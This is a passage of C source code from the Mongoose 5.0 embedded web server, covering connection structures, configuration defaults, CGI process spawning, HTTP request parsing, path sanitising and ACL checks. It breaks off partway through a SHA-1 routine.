#define MONGOOSE_VERSION "5.0"
// Extra HTTP headers to send in every static file reply
#if !defined(EXTRA_HTTP_HEADERS)
#define EXTRA_HTTP_HEADERS ""
#endif
#ifdef ENABLE_DBG
#define DBG(x) do { printf("%-20s ", __func__); printf x; putchar('\n'); \
fflush(stdout); } while(0)
#else
#define DBG(x)
#endif
union socket_address {
struct sockaddr sa;
struct sockaddr_in sin;
#ifdef USE_IPV6
struct sockaddr_in6 sin6;
#endif
};
struct vec {
const char *ptr;
int len;
};
struct uri_handler {
struct linked_list_link link;
char *uri;
mg_handler_t handler;
};
// For directory listing and WevDAV support
struct dir_entry {
struct connection *conn;
char *file_name;
file_stat_t st;
};
// NOTE(lsm): this enum shoulds be in sync with the config_options.
enum {
ACCESS_CONTROL_LIST, ACCESS_LOG_FILE, AUTH_DOMAIN, CGI_INTERPRETER,
CGI_PATTERN, DOCUMENT_ROOT, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
EXTRA_MIME_TYPES, GLOBAL_AUTH_FILE, HIDE_FILES_PATTERN, IDLE_TIMEOUT_MS,
INDEX_FILES, LISTENING_PORT, NUM_THREADS, PUT_DELETE_AUTH_FILE, RUN_AS_USER,
SSL_CERTIFICATE, SSI_PATTERN, URL_REWRITES, NUM_OPTIONS
};
struct mg_server {
sock_t listening_sock;
union socket_address lsa; // Listening socket address
struct linked_list_link active_connections;
struct linked_list_link uri_handlers;
char *config_options[NUM_OPTIONS];
void *server_data;
sock_t ctl[2]; // Control socketpair. Used to wake up from select() call
};
// Expandable IO buffer
struct iobuf {
char *buf; // Buffer that holds the data
int size; // Buffer size
int len; // Number of bytes currently in a buffer
};
// Local endpoint representation
union endpoint {
int fd; // Opened regular local file
sock_t cgi_sock; // CGI socket
void *ssl; // SSL descriptor
struct uri_handler *uh; // URI handler user function
};
enum endpoint_type { EP_NONE, EP_FILE, EP_CGI, EP_USER };
enum connection_flags { CONN_CLOSE = 1, CONN_SPOOL_DONE = 2, CONN_SSL = 4 };
struct connection {
struct mg_connection mg_conn; // XXX: Must be first
struct linked_list_link link; // Linkage to server->active_connections
struct mg_server *server;
sock_t client_sock; // Connected client
struct iobuf local_iobuf;
struct iobuf remote_iobuf;
union endpoint endpoint;
enum endpoint_type endpoint_type;
time_t expire_time;
char *path_info;
char *request;
int request_len; // Request length, including last \r\n after last header
int flags; // CONN_* flags: CONN_CLOSE, CONN_SPOOL_DONE, etc
mutex_t mutex; // Guards concurrent mg_write() calls
};
static void close_local_endpoint(struct connection *conn);
static const struct {
const char *extension;
size_t ext_len;
const char *mime_type;
} static_builtin_mime_types[] = {
{".html", 5, "text/html"},
{".htm", 4, "text/html"},
{".shtm", 5, "text/html"},
{".shtml", 6, "text/html"},
{".css", 4, "text/css"},
{".js", 3, "application/x-javascript"},
{".ico", 4, "image/x-icon"},
{".gif", 4, "image/gif"},
{".jpg", 4, "image/jpeg"},
{".jpeg", 5, "image/jpeg"},
{".png", 4, "image/png"},
{".svg", 4, "image/svg+xml"},
{".txt", 4, "text/plain"},
{".torrent", 8, "application/x-bittorrent"},
{".wav", 4, "audio/x-wav"},
{".mp3", 4, "audio/x-mp3"},
{".mid", 4, "audio/mid"},
{".m3u", 4, "audio/x-mpegurl"},
{".ogg", 4, "application/ogg"},
{".ram", 4, "audio/x-pn-realaudio"},
{".xml", 4, "text/xml"},
{".json", 5, "text/json"},
{".xslt", 5, "application/xml"},
{".xsl", 4, "application/xml"},
{".ra", 3, "audio/x-pn-realaudio"},
{".doc", 4, "application/msword"},
{".exe", 4, "application/octet-stream"},
{".zip", 4, "application/x-zip-compressed"},
{".xls", 4, "application/excel"},
{".tgz", 4, "application/x-tar-gz"},
{".tar", 4, "application/x-tar"},
{".gz", 3, "application/x-gunzip"},
{".arj", 4, "application/x-arj-compressed"},
{".rar", 4, "application/x-arj-compressed"},
{".rtf", 4, "application/rtf"},
{".pdf", 4, "application/pdf"},
{".swf", 4, "application/x-shockwave-flash"},
{".mpg", 4, "video/mpeg"},
{".webm", 5, "video/webm"},
{".mpeg", 5, "video/mpeg"},
{".mov", 4, "video/quicktime"},
{".mp4", 4, "video/mp4"},
{".m4v", 4, "video/x-m4v"},
{".asf", 4, "video/x-ms-asf"},
{".avi", 4, "video/x-msvideo"},
{".bmp", 4, "image/bmp"},
{".ttf", 4, "application/x-font-ttf"},
{NULL, 0, NULL}
};
static const char *static_config_options[] = {
"access_control_list", NULL,
"access_log_file", NULL,
"auth_domain", "mydomain.com",
"cgi_interpreter", NULL,
"cgi_pattern", "**.cgi$|**.pl$|**.php$",
"document_root", NULL,
"enable_directory_listing", "yes",
"error_log_file", NULL,
"extra_mime_types", NULL,
"global_auth_file", NULL,
"hide_files_patterns", NULL,
"idle_timeout_ms", "30000",
"index_files","index.html,index.htm,index.cgi,index.shtml,index.php,index.lp",
"listening_port", NULL,
"num_threads", "50",
"put_delete_auth_file", NULL,
"run_as_user", NULL,
"ssl_certificate", NULL,
"ssi_pattern", "**.shtml$|**.shtm$",
"url_rewrites", NULL,
NULL
};
static const char *static_month_names[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
int mg_start_thread(void *(*f)(void *), void *p) {
#ifdef _WIN32
return (long)_beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
#else
pthread_t thread_id;
pthread_attr_t attr;
int result;
(void) pthread_attr_init(&attr);
(void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
#if USE_STACK_SIZE > 1
// Compile-time option to control stack size, e.g. -DUSE_STACK_SIZE=16384
(void) pthread_attr_setstacksize(&attr, USE_STACK_SIZE);
#endif
result = pthread_create(&thread_id, &attr, f, p);
pthread_attr_destroy(&attr);
return result;
#endif
}
static void set_close_on_exec(int fd) {
#ifdef _WIN32
(void) SetHandleInformation((HANDLE) fd, HANDLE_FLAG_INHERIT, 0);
#else
fcntl(fd, F_SETFD, FD_CLOEXEC);
#endif
}
static void set_non_blocking_mode(sock_t sock) {
#ifdef _WIN32
unsigned long on = 1;
ioctlsocket(sock, FIONBIO, &on);
#else
int flags = fcntl(sock, F_GETFL, 0);
fcntl(sock, F_SETFL, flags | O_NONBLOCK);
#endif
}
// A helper function for traversing a comma separated list of values.
// It returns a list pointer shifted to the next value, or NULL if the end
// of the list found.
// Value is stored in val vector. If value has form "x=y", then eq_val
// vector is initialized to point to the "y" part, and val vector length
// is adjusted to point only to "x".
static const char *next_option(const char *list, struct vec *val,
struct vec *eq_val) {
if (list == NULL || *list == '\0') {
// End of the list
list = NULL;
} else {
val->ptr = list;
if ((list = strchr(val->ptr, ',')) != NULL) {
// Comma found. Store length and shift the list ptr
val->len = list - val->ptr;
list++;
} else {
// This value is the last one
list = val->ptr + strlen(val->ptr);
val->len = list - val->ptr;
}
if (eq_val != NULL) {
// Value has form "x=y", adjust pointers and lengths
// so that val points to "x", and eq_val points to "y".
eq_val->len = 0;
eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
if (eq_val->ptr != NULL) {
eq_val->ptr++; // Skip over '=' character
eq_val->len = val->ptr + val->len - eq_val->ptr;
val->len = (eq_val->ptr - val->ptr) - 1;
}
}
}
return list;
}
static int mg_socketpair(sock_t sp[2]) {
struct sockaddr_in sa;
sock_t sock, ret = -1;
socklen_t len = sizeof(sa);
sp[0] = sp[1] = INVALID_SOCKET;
(void) memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(0);
sa.sin_addr.s_addr = htonl(0x7f000001);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET &&
!bind(sock, (struct sockaddr *) &sa, len) &&
!listen(sock, 1) &&
!getsockname(sock, (struct sockaddr *) &sa, &len) &&
(sp[0] = socket(AF_INET, SOCK_STREAM, 6)) != -1 &&
!connect(sp[0], (struct sockaddr *) &sa, len) &&
(sp[1] = accept(sock,(struct sockaddr *) &sa, &len)) != INVALID_SOCKET) {
set_close_on_exec(sp[0]);
set_close_on_exec(sp[1]);
ret = 0;
} else {
if (sp[0] != INVALID_SOCKET) closesocket(sp[0]);
if (sp[1] != INVALID_SOCKET) closesocket(sp[1]);
sp[0] = sp[1] = INVALID_SOCKET;
}
closesocket(sock);
return ret;
}
#ifndef NO_CGI
#ifdef _WIN32
static pid_t start_process(const char *interp, const char *cmd, const char *env,
const char *envp[], const char *dir, sock_t sock) {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
HANDLE hs = (HANDLE) sock, me = GetCurrentProcess();
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
DuplicateHandle(me, hs, me, &si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
DuplicateHandle(me, hs, me, &si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
closesocket(sock);
DBG(("Starting commad: [%s]", cmd));
CreateProcess(NULL, (char *) cmd, NULL, NULL, TRUE,
CREATE_NEW_PROCESS_GROUP, (void *) env, dir, &si, &pi);
CloseHandle(si.hStdOutput);
CloseHandle(si.hStdInput);
CloseHandle(pi.hThread);
return (pid_t) pi.hProcess;
}
#else
static pid_t start_process(const char *interp, const char *cmd, const char *env,
const char *envp[], const char *dir, sock_t sock) {
pid_t pid = fork();
(void) env;
if (pid == 0) {
chdir(dir);
dup2(sock, 0);
dup2(sock, 1);
closesocket(sock);
// After exec, all signal handlers are restored to their default values,
// with one exception of SIGCHLD. According to POSIX.1-2001 and Linux's
// implementation, SIGCHLD's handler will leave unchanged after exec
// if it was set to be ignored. Restore it to default action.
signal(SIGCHLD, SIG_DFL);
if (interp == NULL) {
execle(cmd, cmd, NULL, envp);
} else {
execle(interp, interp, cmd, NULL, envp);
}
exit(EXIT_FAILURE); // exec call failed
}
return pid;
}
#endif // _WIN32
// This structure helps to create an environment for the spawned CGI program.
// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
// last element must be NULL.
// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
// strings must reside in a contiguous buffer. The end of the buffer is
// marked by two '\0' characters.
// We satisfy both worlds: we create an envp array (which is vars), all
// entries are actually pointers inside buf.
struct cgi_env_block {
struct mg_connection *conn;
char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
const char *vars[MAX_CGI_ENVIR_VARS]; // char *envp[]
int len; // Space taken
int nvars; // Number of variables in envp[]
};
// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
// pointer into the vars array.
static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
int n, space;
char *added;
va_list ap;
// Calculate how much space is left in the buffer
space = sizeof(block->buf) - block->len - 2;
assert(space >= 0);
// Make a pointer to the free space int the buffer
added = block->buf + block->len;
// Copy VARIABLE=VALUE\0 string into the free space
va_start(ap, fmt);
n = vsnprintf(added, (size_t) space, fmt, ap);
va_end(ap);
// Make sure we do not overflow buffer and the envp array
if (n > 0 && n + 1 < space &&
block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
// Append a pointer to the added string into the envp array
block->vars[block->nvars++] = added;
// Bump up used length counter. Include \0 terminator
block->len += n + 1;
}
return added;
}
static void prepare_cgi_environment(struct connection *conn,
const char *prog,
struct cgi_env_block *blk) {
struct mg_connection *ri = &conn->mg_conn;
const char *s, *slash;
char *p, **opts = conn->server->config_options;
int i;
blk->len = blk->nvars = 0;
blk->conn = ri;
addenv(blk, "SERVER_NAME=%s", opts[AUTH_DOMAIN]);
addenv(blk, "SERVER_ROOT=%s", opts[DOCUMENT_ROOT]);
addenv(blk, "DOCUMENT_ROOT=%s", opts[DOCUMENT_ROOT]);
addenv(blk, "SERVER_SOFTWARE=%s/%s", "Mongoose", MONGOOSE_VERSION);
// Prepare the environment block
addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
// TODO(lsm): fix this for IPv6 case
addenv(blk, "SERVER_PORT=%d", ri->remote_port);
addenv(blk, "REQUEST_METHOD=%s", ri->request_method);
addenv(blk, "REMOTE_ADDR=%s", ri->remote_ip);
addenv(blk, "REMOTE_PORT=%d", ri->remote_port);
addenv(blk, "REQUEST_URI=%s%s%s", ri->uri,
ri->query_string == NULL ? "" : "?",
ri->query_string == NULL ? "" : ri->query_string);
// SCRIPT_NAME
if (conn->path_info != NULL) {
addenv(blk, "SCRIPT_NAME=%.*s",
(int) (strlen(ri->uri) - strlen(conn->path_info)), ri->uri);
addenv(blk, "PATH_INFO=%s", conn->path_info);
} else {
s = strrchr(prog, '/');
slash = strrchr(ri->uri, '/');
addenv(blk, "SCRIPT_NAME=%.*s%s",
slash == NULL ? 0 : (int) (slash - ri->uri), ri->uri,
s == NULL ? prog : s);
}
addenv(blk, "SCRIPT_FILENAME=%s", prog);
addenv(blk, "PATH_TRANSLATED=%s", prog);
addenv(blk, "HTTPS=%s", conn->flags & CONN_SSL ? "on" : "off");
if ((s = mg_get_header(ri, "Content-Type")) != NULL)
addenv(blk, "CONTENT_TYPE=%s", s);
if (ri->query_string != NULL) {
addenv(blk, "QUERY_STRING=%s", ri->query_string);
}
if ((s = mg_get_header(ri, "Content-Length")) != NULL)
addenv(blk, "CONTENT_LENGTH=%s", s);
if ((s = getenv("PATH")) != NULL)
addenv(blk, "PATH=%s", s);
#if defined(_WIN32)
if ((s = getenv("COMSPEC")) != NULL) {
addenv(blk, "COMSPEC=%s", s);
}
if ((s = getenv("SYSTEMROOT")) != NULL) {
addenv(blk, "SYSTEMROOT=%s", s);
}
if ((s = getenv("SystemDrive")) != NULL) {
addenv(blk, "SystemDrive=%s", s);
}
if ((s = getenv("ProgramFiles")) != NULL) {
addenv(blk, "ProgramFiles=%s", s);
}
if ((s = getenv("ProgramFiles(x86)")) != NULL) {
addenv(blk, "ProgramFiles(x86)=%s", s);
}
if ((s = getenv("CommonProgramFiles(x86)")) != NULL) {
addenv(blk, "CommonProgramFiles(x86)=%s", s);
}
#else
if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
addenv(blk, "LD_LIBRARY_PATH=%s", s);
#endif // _WIN32
if ((s = getenv("PERLLIB")) != NULL)
addenv(blk, "PERLLIB=%s", s);
if ((s = getenv(ENV_EXPORT_TO_CGI)) != NULL)
addenv(blk, "%s=%s", ENV_EXPORT_TO_CGI, s);
// Add all headers as HTTP_* variables
for (i = 0; i < ri->num_headers; i++) {
p = addenv(blk, "HTTP_%s=%s",
ri->http_headers[i].name, ri->http_headers[i].value);
// Convert variable name into uppercase, and change - to _
for (; *p != '=' && *p != '\0'; p++) {
if (*p == '-')
*p = '_';
*p = (char) toupper(* (unsigned char *) p);
}
}
blk->vars[blk->nvars++] = NULL;
blk->buf[blk->len++] = '\0';
assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
assert(blk->len > 0);
assert(blk->len < (int) sizeof(blk->buf));
}
static void open_cgi_endpoint(struct connection *conn, const char *prog) {
struct cgi_env_block blk;
char dir[MAX_PATH_SIZE], *p = NULL;
sock_t fds[2];
prepare_cgi_environment(conn, prog, &blk);
// CGI must be executed in its own directory. 'dir' must point to the
// directory containing executable program, 'p' must point to the
// executable program name relative to 'dir'.
snprintf(dir, sizeof(dir), "%s", prog);
if ((p = strrchr(dir, '/')) != NULL) {
*p++ = '\0';
} else {
dir[0] = '.', dir[1] = '\0';
p = (char *) prog;
}
mg_socketpair(fds);
start_process(conn->server->config_options[CGI_INTERPRETER],
prog, blk.buf, blk.vars, dir, fds[1]);
conn->endpoint_type = EP_CGI;
conn->endpoint.cgi_sock = fds[0];
closesocket(fds[1]);
}
#endif // !NO_CGI
// 'sa' must be an initialized address to bind to
static sock_t open_listening_socket(union socket_address *sa) {
sock_t on = 1, sock = INVALID_SOCKET;
if ((sock = socket(sa->sa.sa_family, SOCK_STREAM, 6)) == INVALID_SOCKET ||
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *) &on, sizeof(on)) ||
bind(sock, &sa->sa, sa->sa.sa_family == AF_INET ?
sizeof(sa->sin) : sizeof(sa->sa)) != 0 ||
listen(sock, SOMAXCONN) != 0) {
closesocket(sock);
sock = INVALID_SOCKET;
}
return sock;
}
static char *mg_strdup(const char *str) {
char *copy = (char *) malloc(strlen(str) + 1);
if (copy != NULL) {
strcpy(copy, str);
}
return copy;
}
static int isbyte(int n) {
return n >= 0 && n <= 255;
}
static int parse_net(const char *spec, uint32_t *net, uint32_t *mask) {
int n, a, b, c, d, slash = 32, len = 0;
if ((sscanf(spec, "%d.%d.%d.%d/%d%n", &a, &b, &c, &d, &slash, &n) == 5 ||
sscanf(spec, "%d.%d.%d.%d%n", &a, &b, &c, &d, &n) == 4) &&
isbyte(a) && isbyte(b) && isbyte(c) && isbyte(d) &&
slash >= 0 && slash < 33) {
len = n;
*net = ((uint32_t)a << 24) | ((uint32_t)b << 16) | ((uint32_t)c << 8) | d;
*mask = slash ? 0xffffffffU << (32 - slash) : 0;
}
return len;
}
// Verify given socket address against the ACL.
// Return -1 if ACL is malformed, 0 if address is disallowed, 1 if allowed.
static int check_acl(const char *acl, uint32_t remote_ip) {
int allowed, flag;
uint32_t net, mask;
struct vec vec;
// If any ACL is set, deny by default
allowed = acl == NULL ? '+' : '-';
while ((acl = next_option(acl, &vec, NULL)) != NULL) {
flag = vec.ptr[0];
if ((flag != '+' && flag != '-') ||
parse_net(&vec.ptr[1], &net, &mask) == 0) {
return -1;
}
if (net == (remote_ip & mask)) {
allowed = flag;
}
}
return allowed == '+';
}
static struct connection *accept_new_connection(struct mg_server *server) {
union socket_address sa;
socklen_t len = sizeof(sa);
sock_t sock = INVALID_SOCKET;
struct connection *conn = NULL;
// NOTE(lsm): on Windows, sock is always > FD_SETSIZE
if ((sock = accept(server->listening_sock, &sa.sa, &len)) == INVALID_SOCKET) {
} else if (!check_acl(server->config_options[ACCESS_CONTROL_LIST],
ntohl(* (uint32_t *) &sa.sin.sin_addr))) {
// NOTE(lsm): check_acl doesn't work for IPv6
closesocket(sock);
} else if ((conn = (struct connection *) calloc(1, sizeof(*conn))) == NULL) {
closesocket(sock);
} else {
set_close_on_exec(sock);
set_non_blocking_mode(sock);
conn->server = server;
conn->client_sock = sock;
mutex_init(&conn->mutex);
LINKED_LIST_ADD_TO_FRONT(&server->active_connections, &conn->link);
DBG(("added conn %p", conn));
}
return conn;
}
static void close_conn(struct connection *conn) {
DBG(("closing %p", conn));
LINKED_LIST_REMOVE(&conn->link);
closesocket(conn->client_sock);
free(conn->request); // It's OK to free(NULL)
free(conn->remote_iobuf.buf); // It's OK to free(NULL)
free(conn->local_iobuf.buf); // It's OK to free(NULL)
mutex_destroy(&conn->mutex);
free(conn);
}
// Check whether full request is buffered. Return:
// -1 if request is malformed
// 0 if request is not yet fully buffered
// >0 actual request length, including last \r\n\r\n
static int get_request_len(const char *s, int buf_len) {
const unsigned char *buf = (unsigned char *) s;
int i;
for (i = 0; i < buf_len; i++) {
// Control characters are not allowed but >=128 are.
// Abort scan as soon as one malformed character is found.
if (!isprint(buf[i]) && buf[i] != '\r' && buf[i] != '\n' && buf[i] < 128) {
return -1;
} else if (buf[i] == '\n' && i + 1 < buf_len && buf[i + 1] == '\n') {
return i + 2;
} else if (buf[i] == '\n' && i + 2 < buf_len && buf[i + 1] == '\r' &&
buf[i + 2] == '\n') {
return i + 3;
}
}
return 0;
}
// Skip the characters until one of the delimiters characters found.
// 0-terminate resulting word. Skip the rest of the delimiters if any.
// Advance pointer to buffer to the next word. Return found 0-terminated word.
static char *skip(char **buf, const char *delimiters) {
char *p, *begin_word, *end_word, *end_delimiters;
begin_word = *buf;
end_word = begin_word + strcspn(begin_word, delimiters);
end_delimiters = end_word + strspn(end_word, delimiters);
for (p = end_word; p < end_delimiters; p++) {
*p = '\0';
}
*buf = end_delimiters;
return begin_word;
}
// Protect against directory disclosure attack by removing '..',
// excessive '/' and '\' characters
static void remove_double_dots_and_double_slashes(char *s) {
char *p = s;
while (*s != '\0') {
*p++ = *s++;
if (s[-1] == '/' || s[-1] == '\\') {
// Skip all following slashes, backslashes and double-dots
while (s[0] != '\0') {
if (s[0] == '/' || s[0] == '\\') { s++; }
else if (s[0] == '.' && s[1] == '.') { s += 2; }
else { break; }
}
}
}
*p = '\0';
}
int mg_url_decode(const char *src, int src_len, char *dst,
int dst_len, int is_form_url_encoded) {
int i, j, a, b;
#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
if (src[i] == '%' && i < src_len - 2 &&
isxdigit(* (const unsigned char *) (src + i + 1)) &&
isxdigit(* (const unsigned char *) (src + i + 2))) {
a = tolower(* (const unsigned char *) (src + i + 1));
b = tolower(* (const unsigned char *) (src + i + 2));
dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
i += 2;
} else if (is_form_url_encoded && src[i] == '+') {
dst[j] = ' ';
} else {
dst[j] = src[i];
}
}
dst[j] = '\0'; // Null-terminate the destination
return i >= src_len ? j : -1;
}
// Parse HTTP headers from the given buffer, advance buffer to the point
// where parsing stopped.
static void parse_http_headers(char **buf, struct mg_connection *ri) {
size_t i;
for (i = 0; i < ARRAY_SIZE(ri->http_headers); i++) {
ri->http_headers[i].name = skip(buf, ": ");
ri->http_headers[i].value = skip(buf, "\r\n");
if (ri->http_headers[i].name[0] == '\0')
break;
ri->num_headers = i + 1;
}
}
static int is_valid_http_method(const char *method) {
return !strcmp(method, "GET") || !strcmp(method, "POST") ||
!strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
!strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
!strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND")
|| !strcmp(method, "MKCOL");
}
// Parse HTTP request, fill in mg_request structure.
// This function modifies the buffer by NUL-terminating
// HTTP request components, header names and header values.
// Note that len must point to the last \n of HTTP headers.
static int parse_http_message(char *buf, int len, struct mg_connection *ri) {
int is_request, n;
memset(ri, 0, sizeof(*ri));
buf[len - 1] = '\0';
// RFC says that all initial whitespaces should be ingored
while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
buf++;
}
ri->request_method = skip(&buf, " ");
ri->uri = skip(&buf, " ");
ri->http_version = skip(&buf, "\r\n");
// HTTP message could be either HTTP request or HTTP response, e.g.
// "GET / HTTP/1.0 ...." or "HTTP/1.0 200 OK ..."
is_request = is_valid_http_method(ri->request_method);
if ((is_request && memcmp(ri->http_version, "HTTP/", 5) != 0) ||
(!is_request && memcmp(ri->request_method, "HTTP/", 5) != 0)) {
len = -1;
} else {
if (is_request) {
ri->http_version += 5;
}
parse_http_headers(&buf, ri);
if ((ri->query_string = strchr(ri->uri, '?')) != NULL) {
*(char *) ri->query_string++ = '\0';
}
n = (int) strlen(ri->uri);
mg_url_decode(ri->uri, n, (char *) ri->uri, n + 1, 0);
remove_double_dots_and_double_slashes((char *) ri->uri);
}
return len;
}
static int lowercase(const char *s) {
return tolower(* (const unsigned char *) s);
}
static int mg_strcasecmp(const char *s1, const char *s2) {
int diff;
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0');
return diff;
}
static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
int diff = 0;
if (len > 0)
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0' && --len > 0);
return diff;
}
// Perform case-insensitive match of string against pattern
static int match_prefix(const char *pattern, int pattern_len, const char *str) {
const char *or_str;
int i, j, len, res;
if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
res = match_prefix(pattern, or_str - pattern, str);
return res > 0 ? res :
match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
}
i = j = 0;
res = -1;
for (; i < pattern_len; i++, j++) {
if (pattern[i] == '?' && str[j] != '\0') {
continue;
} else if (pattern[i] == '$') {
return str[j] == '\0' ? j : -1;
} else if (pattern[i] == '*') {
i++;
if (pattern[i] == '*') {
i++;
len = (int) strlen(str + j);
} else {
len = (int) strcspn(str + j, "/");
}
if (i == pattern_len) {
return j + len;
}
do {
res = match_prefix(pattern + i, pattern_len - i, str + j + len);
} while (res == -1 && len-- > 0);
return res == -1 ? -1 : j + res + len;
} else if (lowercase(&pattern[i]) != lowercase(&str[j])) {
return -1;
}
}
return j;
}
// Return HTTP header value, or NULL if not found.
const char *mg_get_header(const struct mg_connection *ri, const char *s) {
int i;
for (i = 0; i < ri->num_headers; i++)
if (!mg_strcasecmp(s, ri->http_headers[i].name))
return ri->http_headers[i].value;
return NULL;
}
// Return 1 if real file has been found, 0 otherwise
static int convert_uri_to_file_name(struct connection *conn, char *buf,
size_t buf_len, file_stat_t *st) {
struct vec a, b;
const char *rewrites = conn->server->config_options[URL_REWRITES],
*root = conn->server->config_options[DOCUMENT_ROOT],
*cgi_pat = conn->server->config_options[CGI_PATTERN],
*uri = conn->mg_conn.uri;
char *p;
int match_len;
// No filesystem access
if (root == NULL) return 0;
// Handle URL rewrites
snprintf(buf, buf_len, "%s%s", root, uri);
while ((rewrites = next_option(rewrites, &a, &b)) != NULL) {
if ((match_len = match_prefix(a.ptr, a.len, uri)) > 0) {
snprintf(buf, buf_len, "%.*s%s", (int) b.len, b.ptr, uri + match_len);
break;
}
}
if (stat(buf, st) == 0) return 1;
// Support PATH_INFO for CGI scripts.
for (p = buf + strlen(root); *p != '\0'; p++) {
if (*p == '/') {
*p = '\0';
if (match_prefix(cgi_pat, strlen(cgi_pat), buf) > 0 && !stat(buf, st)) {
*p = '/';
conn->path_info = mg_strdup(p);
break;
}
*p = '/';
}
}
return 0;
}
static int spool(struct iobuf *io, const void *buf, int len) {
static const float mult = 1.2;
char *p = NULL;
int new_len = 0;
assert(io->len >= 0);
assert(io->len <= io->size);
//DBG(("1. %d %d %d", len, io->len, io->size));
if (len <= 0) {
} else if ((new_len = io->len + len) < io->size) {
memcpy(io->buf + io->len, buf, len);
io->len = new_len;
} else if ((p = (char *) realloc(io->buf, new_len * mult)) != NULL) {
io->buf = p;
memcpy(io->buf + io->len, buf, len);
io->len = new_len;
io->size = new_len * mult;
} else {
len = 0;
}
DBG(("%d %d %d", len, io->len, io->size));
return len;
}
int mg_write(struct mg_connection *c, const void *buf, int len) {
struct connection *conn = (struct connection *) c;
int ret;
mutex_lock(&conn->mutex);
ret = spool(&conn->remote_iobuf, buf, len);
mutex_unlock(&conn->mutex);
send(conn->server->ctl[1], ".", 1, 0); // Wake up select call
return ret;
}
#ifndef NO_WEBSOCKET
static int is_big_endian(void) {
static const int n = 1;
return ((char *) &n)[0] == 0;
}
// START OF SHA-1 code
// Copyright(c) By Steve Reid <steve@edmweb.com>
#define SHA1HANDSOFF
#if defined(__sun)
#include "solarisfixes.h"
#endif
union char64long16 { unsigned char c[64]; uint32_t l[16]; };
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
static uint32_t blk0(union char64long16 *block, int i) {
// Forrest: SHA expect BIG_ENDIAN, swap if LITTLE_ENDIAN
if (!is_big_endian()) {
block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) |
(rol(block->l[i], 8) & 0x00FF00FF);
}
return block->l[i];
}
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(block, i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
typedef struct {
uint32_t state[5];
uint32_t count[2];
unsigned char buffer[64];
} SHA1_CTX;
static void SHA1Transform(uint32_t state[5], const unsigned char buffer[64]) {
uint32_t a, b, c, d, e;
union char64long16 block[1];
memcpy(block, buffer, 64);
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
